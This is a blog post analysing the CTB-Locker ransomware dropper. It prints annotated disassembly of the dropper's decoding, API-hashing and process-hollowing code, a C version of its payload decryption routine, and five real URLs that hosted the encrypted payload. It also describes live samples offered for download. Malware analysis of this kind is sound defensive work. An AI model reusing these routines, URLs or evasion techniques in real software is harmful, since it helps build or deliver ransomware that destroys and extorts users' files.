CTB-Locker dropper in-depth analysis (english version)
A few web pages for a journey in IT security world !
February 9, 2015 - There is a french version here.
CTB-Locker dropper
You will find below an attempt to understand and describe the operation of CTB-Locker dropper recent malware (CTB Locker: a new massive crypto-ransowmare campaign).
Contents
CTB-Locker dropper Overview:
Diagram below provides an overview of the CTB-Locker dropper structure :
Envelope 1 : .scr file received as an email attachment
Contains a few lines of code scattered throughout a lot of uninteresting code intended to deceive antivirus and to make the code unreadable. Will decipher the real code included in the second envelope.
Envelope 2 : intermediate code
Memory image of a Windows module. Contains the encrypted payload downloader. This second envelope will decrypt the downloader, then slide it in place of the starting process and run it. The envelope 2 code uses several masking techniques.
Envelope 3 : Payload downloader and decoder
Payload downloader. Occupies the user and avoids to arouse his suspicions by displaying a pseudo-bill in a document RTF. Then will contact five C&C servers and try to download the payload. It will then decrypt, verify it and execute it. The payload will encrypt your documents and ask you a payment in bitcoins to decipher them.
The following chapters attempt to describe the operations of these three different envelopes and to zoom in on interesting details.
Envelope 1 : reversing it and deciphering the real code :
The relevant code is clearly dispersed in unnecessary and interchangeable code, probably intended to complicate the analysis and especially to prevent detection by antivirus (thank you Fred).
- The code performs two checks whose exact purpose remains to be defined (see at
0x401477
and0x40147D
) before tackling the serious things going decipher the real code (block of0x674
bytes located at0x4055B7
) - In order to pass these controls, "nop" the
JB
after theCMP BP,0FE00h
located at0x401477
which test theEBP
value and replace theJA
located at0x40147D
which follow theCMP DWORD PTR [EBX],6000h
with aJMP
, this one test the kernel32 relocation table size !?! - The decoding routine (beginning at
0x4028D6
) allocates a0x674
bytes block, and then decodes the original block while copying it in the allocated buffer. Coding is based on anXOR
operation with a starting value set at0x37497531
loaded in ECX which will be used to decode the first 4 bytes of the block, each following DWORD will then be decoded using the previous one : - Decoding each DWORD is performed via a sequence of instructions disseminated through a lot of uninteresting (but replaceable) code. Refined sequence :
NOT EAX
ADC EAX,0FFFFFFE7h
XOR EAX,ECX
INC EAX
- ECX is reloaded after each decoded DWORD which has just been decoded and left shifted of one byte :
-
PUSH EAX
POP ECX
ROL ECX,1
ROL ECX,7
- See here for details of the full decoding routine annotated with useful code in blue
- Please note that at offset
0x402E11
, the decryption function address is discreetly pushed on the stack, probably for a future use with a simple 'ret'. - A Dynamic Analysis with OllyDbg confirms the decoding mode and retrieves the content of the decoded buffer directly in memory (the
0x674
bytes just held in the dump window :-) ).The code realize some checks (to be studied) before tackling the serious things going to decipher the true code :
. - The reversed code actually looks like code :
.
Envelope 2 : deciphering payload downloader and preparing it's execution
Step 1 : discrete recovery of pointers to useful Kernel32 functions
A preliminary little digression : from the start of the code, we see calls to functions of the type :
sub:
pop EAX
call EAX
...without any end, ie without any ret instruction to return to the caller. These functions unstacked the return address pushed by the caller and make a call on it, the execution flow will continue just after the call to the function
which seems to do nothing more than pushed in the stack the address following the call EAX
. Besides, the caller cleans up the stack to avoid going back below the call EAX
which contains only data...
...ok,
these functions are a men of access to data hiddened in the middle of the code.
We can note that these two functions are located just before the ntdll exports names which are usefull to CTB-Locker and just before the encrypted names of kernel32 functions it needs. The second zone also contains some other global variables.
First function :
seg000:000001B9 ; --------------------------------------------------------------------------- seg000:000001B9 seg000:000001B9 popEAX_callEAX: ; CODE XREF: seg000:00000005 seg000:000001B9 ; seg000:loc_34 seg000:000001B9 58 pop eax seg000:000001BA FF D0 call eax seg000:000001BA ; --------------------------------------------------------------------------- seg000:000001BC 4B 65 72 6E 65 6C+aKernel32_dll db 'Kernel32.dll',0 seg000:000001C9 48 65 61 70 41 6C+aHeapalloc db 'HeapAlloc',0 seg000:000001D3 48 65 61 70 46 72+aHeapfree db 'HeapFree',0 seg000:000001DC 47 65 74 54 69 63+aGettickcount db 'GetTickCount',0 seg000:000001E9 00 db 0 seg000:000001EA 00 db 0 seg000:000001EB 00 db 0 seg000:000001EC
Second function :
seg000:000005F5 ; --------------------------------------------------------------------------- seg000:000005F5 seg000:000005F5 another_popEAX_callEAX: ; CODE XREF: seg000:loc_13p seg000:000005F5 ; seg000:00000081p ... seg000:000005F5 58 pop eax seg000:000005F6 FF D0 call eax seg000:000005F6 seg000 ends seg000:000005F6 .data:000005F8 ; =========================================================================== .data:000005F8 .data:000005F8 ; Segment type: Pure data .data:000005F8 _data segment byte public 'DATA' use32 .data:000005F8 assume cs:_data .data:000005F8 ;org 5F8h .data:000005F8 FB D4 A2 61 dd 61A2D4FBh ; 0 ; LoadLibrary() .data:000005FC 8A 3C 04 4D dd 4D043C8Ah ; GetModuleHandle() .data:00000600 4D B8 AF CC dd 0CCAFB84Dh ; GetProcAddress() .data:00000604 DD 3B 99 86 dd 86993BDDh ; VirtualProtect() .data:00000608 20 8C 48 62 dd 62488C20h ; VirtualAlloc() .data:0000060C E1 72 D9 1B dd 1BD972E1h ; VirtualFree() .data:00000610 E0 BC DE 6C dd 6CDEBCE0h ; CloseHandle() .data:00000614 9B AE 9C D4 dd 0D49CAE9Bh ; CreateToolhelp32Snapshot() .data:00000618 C0 23 49 9C dd 9C4923C0h ; GetModuleFileNameA() .data:0000061C D8 6D AD 17 dd 17AD6DD8h ; CreateFileA() .data:00000620 FE C9 AA 85 dd 85AAC9FEh ; SetFilePointer() .data:00000624 46 6C 9A 29 dd 299A6C46h ; ReadFile() .data:00000628 08 83 0B A7 dd 0A70B8308h ; GetCurrentProcessID() .data:0000062C B9 E6 16 01 dd 116E6B9h ; Module32First() .data:00000630 40 1C 01 8B dd 8B011C40h ; Module32Next() .data:00000634 BB 48 E2 C7 dd 0C7E248BBh ; GetProcessHeap() .data:00000638 96 85 23 99 dd 99238596h ; WaitForSingleObject() .data:0000063C 8D db 8Dh ; ì .data:0000063D BF db 0BFh ; + .data:0000063E 5C db 5Ch ; \ .data:0000063F 26 db 26h ; & .data:00000640 02 db 2 .data:00000641 93 db 93h ; ô .data:00000642 3F db 3Fh ; ? .data:00000643 B7 db 0B7h ; À .data:00000644 3B db 3Bh ; ; .data:00000645 0F db 0Fh .data:00000646 70 db 70h ; p .data:00000647 51 db 51h ; Q
The call
immediately precedes datas. The return address stacked by the function will point directly to the data area which follows.
The return addres is used, for example here to get the address of the HeapAlloc () function :
seg000:00000034 E8 80 01 00 00 call popEAX_callEAX ; We will go back soon... seg000:00000039 5F pop edi ; EDI = data address block to be accessed seg000:0000003A 83 C7 0D add edi, 0Dh ; We want the data at offset 0Dh seg000:0000003D 57 push edi ; lpProcName = name of the wanted function seg000:0000003E 53 push ebx ; hModule = handle of module to search seg000:0000003F FF 55 08 call dword ptr [ebp+8] ; HeapAlloc() GetProcAddress
The address of the datas is popped in DI
, then 0Dh
is added to access to the second string 'HeapAlloc\0'
at offset 0x1C9
(see the first function above).
End of digression on how to hide datas in code and the way to access it easily.
We continue in discrete ways of working. In order to hide Kernel32 exports that will be used and made less readable code, a fun method is used by CTB-Locker. It will recover the pointer to export functions it needs via AddressOffFunctions by parsing the export table, which address will be found through the chain 'Kernel32.dll Handle -> DOS Header -> PE Header -> DataDirectory -> IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfNames'.
The search is performed by traversing the table and encoding function names sequentially and comparing the code obtained with one desired. Code table of desired functions is stored from offset
0x05F8
. It contains 17 functions :
Offset | Offset start code | Code | Kernel32 or NTDLL function |
---|---|---|---|
0x00 | 0x05F8 | 0x61A2D4FB | LoadLibraryA |
0x04 | 0x05FC | 0x4D043C8A | GetModuleHandleA |
0x08 | 0x0600 | 0xCCAFB84D | GetProcAddress |
0x0C | 0x0604 | 0x86993BDD | VirtualProtect |
0x10 | 0x0608 | 0x62488C20 | VirtualAlloc |
0x14 | 0x060C | 0x1BD972E1 | VirtualFree |
0x18 | 0x0610 | 0x6CDEBCE0 | CloseHandle |
0x1C | 0x0614 | 0xD49CAE9B | CreateToolhelp32Snapshot |
0x20 | 0x0618 | 0x9C4923C0 | GetModuleFileNameA |
0x24 | 0x061C | 0x17AD60D8 | CreateFileA |
0x28 | 0x0620 | 0x85AAC9FE | SetFilePointer |
0x2C | 0x0624 | 0x299A6C46 | ReadFile |
0x30 | 0x0628 | 0xA70B8308 | GetCurrentProcessID |
0x34 | 0x062C | 0x0116E6B9 | Module32First |
0x38 | 0x0630 | 0x8B011C40 | Module32Next |
0x3C | 0x0634 | 0xC7E248BB | GetProcessHeap |
0x40 | 0x0638 | 0x99238596 | WaitForSingleObject |
0x44 | 0x063C | 0x265CBF8D | HeapAlloc |
0x48 | 0x0640 | 0xB73F9302 | HeapFree |
0x4C | 0x0644 | 0x51700F3B | GetTickCount |
Once this table initialized at offset 0x34
to 0x80
in the datas stashed in the code, CTB-Locker will look more conventionally for addresses of HeapAlloc () HeapFree () and GetTickCount () :
seg000:00000034 loc_34: ; CODE XREF: seg000:00000031 seg000:00000034 E8 80 01 00 00 call loc_1B9 ; On revient tout de suite (pop eax,call eax) seg000:00000039 5F pop edi seg000:0000003A 83 C7 0D add edi, 0Dh seg000:0000003D 57 push edi seg000:0000003E 53 push ebx seg000:0000003F FF 55 08 call dword ptr [ebp+8] ; GetProcAddress de HeapAlloc seg000:00000042 89 06 mov [esi], eax seg000:00000044 83 C7 0A add edi, 0Ah seg000:00000047 57 push edi seg000:00000048 53 push ebx seg000:00000049 FF 55 08 call dword ptr [ebp+8] ; GetProcAddress de HeapFree seg000:0000004C 89 46 04 mov [esi+4], eax seg000:0000004F 83 C7 09 add edi, 9 seg000:00000052 57 push edi seg000:00000053 53 push ebx seg000:00000054 FF 55 08 call dword ptr [ebp+8] ; GetProcAddress de GetTickCount seg000:00000057 89 46 08 mov [esi+8], eax
Step 2 : downloader duplication and deciphering
Then it allocates a new 0x674
bytes block, copies the decrypted code in this block and jump to the offset 0x81
of this new bloc.
What is the goal of this trip ? Perhaps we shall see later (or not).
seg000:0000005A 6A 40 push 40h ; '@' seg000:0000005C 68 00 10 00 00 push 1000h seg000:00000061 68 74 06 00 00 push 674h seg000:00000066 6A 00 push 0 seg000:00000068 FF 55 10 call dword ptr [ebp+10h] ; Allocate a new 674h bytes like the previous one seg000:0000006B 8B F8 mov edi, eax seg000:0000006D 05 81 00 00 00 add eax, 81h ; 'ü' seg000:00000072 50 push eax ; We push the address where we want to go after the copy => 0x81 offset of the copy seg000:00000073 8D B5 08 FA FF FF lea esi, [ebp-5F8h] seg000:00000079 B9 74 06 00 00 mov ecx, 674h ; Copy... seg000:0000007E F3 A4 rep movsb seg000:00000080 C3 retn ; ...and jump to 0x81 offset of the new bloc.
Code at 0x72
push the address where we will jump when the retn
will be executed, ie to 0x81
offset of the decrypted copy we just made.
Once in the copy, we are going to pop the code decryption function address that we had hidden in the first decryption (do you remember the note ?). In fact it is rather a good parameter passing technique, you just have to master the somewhat complex code sequences it needs.
Then we will allocate a block of 0x1A00
bytes, ie 6,6Ko, before copying a memory area located in the ressources (at offset 0x0040B0A6
at home) decrypting it on the fly.
Memory map where we can see that the resources are rather big compare to the rest :
In fact this memory area in Resources contains the encrypted payload downloader code.
Here is the copy/decrypting of downloader function :
seg000:000004A1 ; =============== S U B R O U T I N E ======================================= seg000:000004A1 seg000:000004A1 ; ESI = address of memory block allocated which contains a crypted copy of the payload downloader. 0x1A00 bytes long. seg000:000004A1 ; [EBP+60h] contains 0. May contain a start offset (or suspension area) decryption ? seg000:000004A1 ; [EBP+64h] contains 0. Could contain the length to jump ? seg000:000004A1 ; [EBP+68h] contains 0. May contain the offset of the PE header of the target block ? seg000:000004A1 ; [EBP+70h] contains the block size in question seg000:000004A1 ; [EBP+78h] contains a key to a DWORD seg000:000004A1 seg000:000004A1 copyAndDecipherDownloader proc near ; CODE XREF: seg000:000000A2 seg000:000004A1 60 pusha ; In dynamic debug we see that the area deciphered by this function contains the memory image of the downloader seg000:000004A2 ===== Reconstructing the decryption key ===== seg000:000004A2 8B 55 78 mov edx, [ebp+78h] ; [EBP+78h] xor 7845EA91h seg000:000004A5 81 F2 91 EA 45 78 xor edx, 7845EA91h ; EDX = 0x37497531 at the first pass (will there be others ? No in CTB-Locker) seg000:000004AB 8B 4D 70 mov ecx, [ebp+70h] ; [EBP+70h] = size of the allocated block = 0x1A00 seg000:000004AE 8B FE mov edi, esi ; Copy the address of the newly allocated block seg000:000004B0 83 7D 60 00 cmp dword ptr [ebp+60h], 0 seg000:000004B4 74 03 jz short loc_4B9 seg000:000004B6 ; This code is never used by CTB-Locker seg000:000004B6 ; Looks like a configurable feature not used by CTB-Locker seg000:000004B6 01 75 60 add [ebp+60h], esi seg000:000004B9 seg000:000004B9 loc_4B9: seg000:000004B9 8B 45 68 mov eax, [ebp+68h] seg000:000004BC 85 C0 test eax, eax seg000:000004BE 74 15 jz short loc_4D5 seg000:000004C0 89 46 3C mov [esi+3Ch], eax ; The offset of the PE header is fixed in the image downloader? seg000:000004C3 52 push edx seg000:000004C4 BA 04 00 00 00 mov edx, 4 seg000:000004C9 E8 F0 00 00 00 call sub_5BE seg000:000004CE 5A pop edx seg000:000004CF 03 F0 add esi, eax seg000:000004D1 03 F8 add edi, eax seg000:000004D3 2B C8 sub ecx, eax seg000:000004D5 seg000:000004D5 loc_4D5: seg000:000004D5 seg000:000004D5 3B 75 60 cmp esi, [ebp+60h] ; We look at whether to stop copying seg000:000004D8 75 0D jnz short loc_4E7 seg000:000004DA 03 75 64 add esi, [ebp+64h] ; If so, we increment the source of the size of the block to jump seg000:000004DD 03 7D 64 add edi, [ebp+64h] ; Ditto for the destination seg000:000004E0 2B 4D 64 sub ecx, [ebp+64h] ; And decreases the counter seg000:000004E3 85 C9 test ecx, ecx ; It looks so we arrived at the end of the copy seg000:000004E5 74 12 jz short loc_4F9 seg000:000004E7 seg000:000004E7 loc_4E7: seg000:000004E7 AD lodsd ; We put 4 bytes of the block pointed by ESI in EAX seg000:000004E8 50 push eax ; Save it before to decipher it seg000:000004E9 ; ===== Here we decipher ===== seg000:000004E9 05 22 4A FE 8D add eax, 8DFE4A22h seg000:000004EE 0F C8 bswap eax seg000:000004F0 33 C2 xor eax, edx seg000:000004F2 5A pop edx seg000:000004F3 AB stosd ; It saves 4 bytes decoded and incremente EDI by 4 seg000:000004F4 83 E9 03 sub ecx, 3 ; Our counter is decremented seg000:000004F7 E2 DC loop loc_4D5 seg000:000004F9 seg000:000004F9 loc_4F9: seg000:000004F9 61 popa seg000:000004FA C3 retn seg000:000004FA copieEtDechiffreDownloader endp
The interesting parts are those of the beginning and the end. Some code parts are not used and seem to be able to copy while deciphering but with a start at an offset different of 0 of the memory block and to be able to avoid copying / encryption to an area of the memory block, probably if you want to keep existing data in the target block. CTB-Locker does not use these possibilities.
Step 3 : substitution of initial process by the downloader
Following, the code prepare all the elements necessary for the execution of the payload downloader in the skin of the initial process (ie the .scr launched by the user). It comprises the following steps :
- Copies the header image downloader in place of the header of the image of malware on
0x200
bytes long - Then, for each section :
- Erasing the contents of the initial process section (the .scr)
- Copy the contents of the corresponding section of the downloader of temporary area to the area of the initial process
- At this stage the downloader has been copied from the temporary area to the memory of the original process.
- We will then replenish the table of imports like they are necessarily different from those of the initial process
- Finally, to avoid potentially fatal inconsistency, we're going to update the DllBase and EntryPoint fields of the process PEB _LDR_DATA_TABLE_ENTRY and the PEB ImageBaseAddress (Process Environment Block).
Ultimately, once prepared, the downloader will be executed via a conventional push of the address of the entry point followed by a ret
...
Envelope 3 : Payload downloader and decoder
Downloader detailed algorithm
For any verification, disassembled and commented code is available here (main body is at offset 0x004016DF
)
- Generates a random file name by alternately combining a consonant and a vowel for the name, and selecting an extension from a set of known extensions ;
- Then creates a temporary file (under "Locals Settings \ Temp" in the user profile) ;
- This file is actually a file cabinet (behold), which contains an RTF document (here it is).
- Extract the RTF file of the .CAB file and causes its opening (with Wordpad by default). The RTF document contains a pseudo-bill in French ("INVOICE AIRFO / 567845654"), which refers to dates of the end of 2014. I guess this display is designed to trick the user who opened the attachment from the email. He noted that this would not be for him and do not think that it is on the highway to be infected (my dear father, if you read these lines one day, take a few minutes to meditate this ;-) !).
- Wait a few minutes probably to thwart possible anti-virus heuristics...
- Then try to download an encrypted file (abc.tar.gz) from the following 5 URL (in my copy they are these, the URL will likely be different in another one) :
- shop-oye.it/XXXinstallXXX/abc.tar.gz
- aspiroflash.fr/cai/abc.tar.gz
- dieideenwerkstatt.at/css/abc.tar.gz
- firststepbahamas.com/PDF/abc.tar.gz
- wymiana-wsb.cba.pl/pp/abc.tar.gz
- Download algorithm is :
Attempt to retrieve the file on the first URL
If OK,
Deciphering the contents recovered
Else
If 5 attempts have been exhausted
Wait a bit and start from the beginning
Else,
Try the next URL
End If
End If
- Decryption of the downloaded payload (see detail below)
- Building a credible filename (eg home it gave "saf.exe")
- Saving the payload in "Local Settings \ Temp"
- Short nap, probably to avoid any anti-virus heuristic ?
- Execute payload !!!
- Short nap not to bite his own feet (it hurts huh?) and / or avoid antivirus
- File deletion in order to avoid to leave a trace
- ...that's all folks (in english in the text) ! Your PC is now infected, downloader job is finished.
Deciphering payload detail
The downloaded payload is encrypted. The first 4 bytes contain a DWORD that will be used to validate access to the decryption function and to finalize the checksum calculation of the payload.
The following 4 bytes contain a DWORD that controls the buffer size to decipher, it is a second access control to the decryption function. The payload begins at offset 8 and has a size of
0xB9A00
bytes, or 760 320
bytes.
The decryption routine is :
.text:00401904 ; =============== S U B R O U T I N E ======================================= .text:00401904 .text:00401904 ; Attributes: bp-based frame .text:00401904 .text:00401904 sub_401904 proc near ; CODE XREF: sub_4018C7+23p .text:00401904 .text:00401904 var_10 = byte ptr -10h .text:00401904 var_F = byte ptr -0Fh .text:00401904 var_E = byte ptr -0Eh .text:00401904 var_D = byte ptr -0Dh .text:00401904 var_C = byte ptr -0Ch .text:00401904 var_B = byte ptr -0Bh .text:00401904 var_A = byte ptr -0Ah .text:00401904 var_9 = byte ptr -9 .text:00401904 var_8 = byte ptr -8 .text:00401904 var_7 = byte ptr -7 .text:00401904 var_6 = byte ptr -6 .text:00401904 var_5 = byte ptr -5 .text:00401904 var_4 = byte ptr -4 .text:00401904 var_3 = byte ptr -3 .text:00401904 var_2 = byte ptr -2 .text:00401904 var_1 = byte ptr -1 .text:00401904 arg_0 = dword ptr 8 .text:00401904 arg_4 = dword ptr 0Ch .text:00401904 .text:00401904 55 push ebp .text:00401905 8B EC mov ebp, esp .text:00401907 83 EC 10 sub esp, 10h .text:0040190A 53 push ebx .text:0040190B 57 push edi .text:0040190C 33 DB xor ebx, ebx .text:0040190E 33 FF xor edi, edi .text:00401910 C6 45 F0 80 mov [ebp+var_10], 80h .text:00401914 C6 45 F1 3B mov [ebp+var_F], 3Bh .text:00401918 C6 45 F2 D3 mov [ebp+var_E], 0D3h .text:0040191C C6 45 F3 23 mov [ebp+var_D], 23h .text:00401920 C6 45 F4 9C mov [ebp+var_C], 9Ch .text:00401924 C6 45 F5 E5 mov [ebp+var_B], 0E5h .text:00401928 C6 45 F6 1A mov [ebp+var_A], 1Ah .text:0040192C C6 45 F7 BA mov [ebp+var_9], 0BAh .text:00401930 C6 45 F8 D2 mov [ebp+var_8], 0D2h .text:00401934 C6 45 F9 93 mov [ebp+var_7], 93h .text:00401938 C6 45 FA 64 mov [ebp+var_6], 64h .text:0040193C C6 45 FB 21 mov [ebp+var_5], 21h .text:00401940 C6 45 FC 0B mov [ebp+var_4], 0Bh .text:00401944 C6 45 FD D6 mov [ebp+var_3], 0D6h .text:00401948 C6 45 FE 0B mov [ebp+var_2], 0Bh .text:0040194C C6 45 FF 19 mov [ebp+var_1], 19h .text:00401950 39 5D 0C cmp [ebp+arg_4], ebx .text:00401953 76 26 jbe short loc_40197B .text:00401955 56 push esi .text:00401956 .text:00401956 loc_401956: ; CODE XREF: sub_401904+74j .text:00401956 8B 45 08 mov eax, [ebp+arg_0] .text:00401959 8D 34 03 lea esi, [ebx+eax] .text:0040195C 8A 0E mov cl, [esi] .text:0040195E 8D 54 3D F0 lea edx, [ebp+edi+var_10] .text:00401962 8A 02 mov al, [edx] .text:00401964 32 C8 xor cl, al .text:00401966 32 C1 xor al, cl .text:00401968 47 inc edi .text:00401969 88 0E mov [esi], cl .text:0040196B 88 02 mov [edx], al .text:0040196D 83 FF 10 cmp edi, 10h .text:00401970 75 02 jnz short loc_401974 .text:00401972 33 FF xor edi, edi .text:00401974 .text:00401974 loc_401974: ; CODE XREF: sub_401904+6Cj .text:00401974 43 inc ebx .text:00401975 3B 5D 0C cmp ebx, [ebp+arg_4] .text:00401978 72 DC jb short loc_401956 .text:0040197A 5E pop esi .text:0040197B .text:0040197B loc_40197B: ; CODE XREF: sub_401904+4Fj .text:0040197B 5F pop edi .text:0040197C 5B pop ebx .text:0040197D C9 leave .text:0040197E C3 retn .text:0040197E sub_401904 endp
It can be translated into C for easier reading as follows :
void DecipherPayload ( unsigned char *lpBuffer, long lNbBytesToDo ) { int i=0; int j=0; unsigned char tabKeys[16] = {0x80, 0x3B, 0xD3, 0x23, 0x9C, 0xE5, 0x1A, 0xBA, 0xD2, 0x93, 0x64, 0x21, 0x0B, 0xD6, 0x0B, 0x19 }; unsigned char c; unsigned char key; while ( i < lNbBytesToDo ) { if ( j==16 ) j=0; c = lpBuffer[i]; key = tabKeys[j]; c = c^key; key = key^c; lpBuffer[i++] = c; tabKeys[j++]=key; } }
It's a pretty fun encryption. Has a sequence of 16 bytes which is used to decrypt with a XOR
a 16 bytes buffer, buffer 16 bytes, each byte decrypted amending turn his decryption key by an XOR
.
It makes decoding a little more complicated than a simple XOR
. Well, that's it.
The checksum calculation is quite complicated, but of no particular interest here.
And after that ?
And after that? Well we must tackle the downloaded payload. We know that it will encrypt some of your documents and then ask you a payment bitcoins to be able to decipher them. The payload code is much larger than the downloader...
Edit April 16, 2015 : you can read the CTB-Locker payload obfuscation layers analysis.
Appendices
Appendix 1: Downloadable files
The successive layers of the onion :
- First envelope (not including zip) : The malware .zip file (pwd=infected)
- Second envelope : The real CTB-Locker deciphered code, binary and The real deciphered code disassembled
- Third envelope : The payload downloader CTB-Locker deciphered code, binary et the payload downloader CTB-Locker deciphered code, disassembled et the same commented.
- The CAB file contained in the CTB-Locker downloader et The RTF document contained in the .CAB the downloader creates and opens a priori without interest.
Downloaded payload :
- CTB-Locker payload, .zip file (pwd=infected) Warning : don't execute the zip content !
Zooming an interesting part :
IDB files on the go...
Appendix 2 : Tools used
The tools used are fairly standard.
- IDA Pro The best known and most pleasant to use since Sourcer !
- VirtualBox Pour pouvoir monter une VM et suivre l'exécution de CTB-Locker sous debug
- OllyDbg To run CTB-Locker in the VM and follow its code, it complements the static analysis with IDA
- HxD hex editor A very useful although IDA and OllyDbg can do it too
- PEview et pestudio to easily dump the .scr
- PE format officials specs and the most beautiful PEB in the world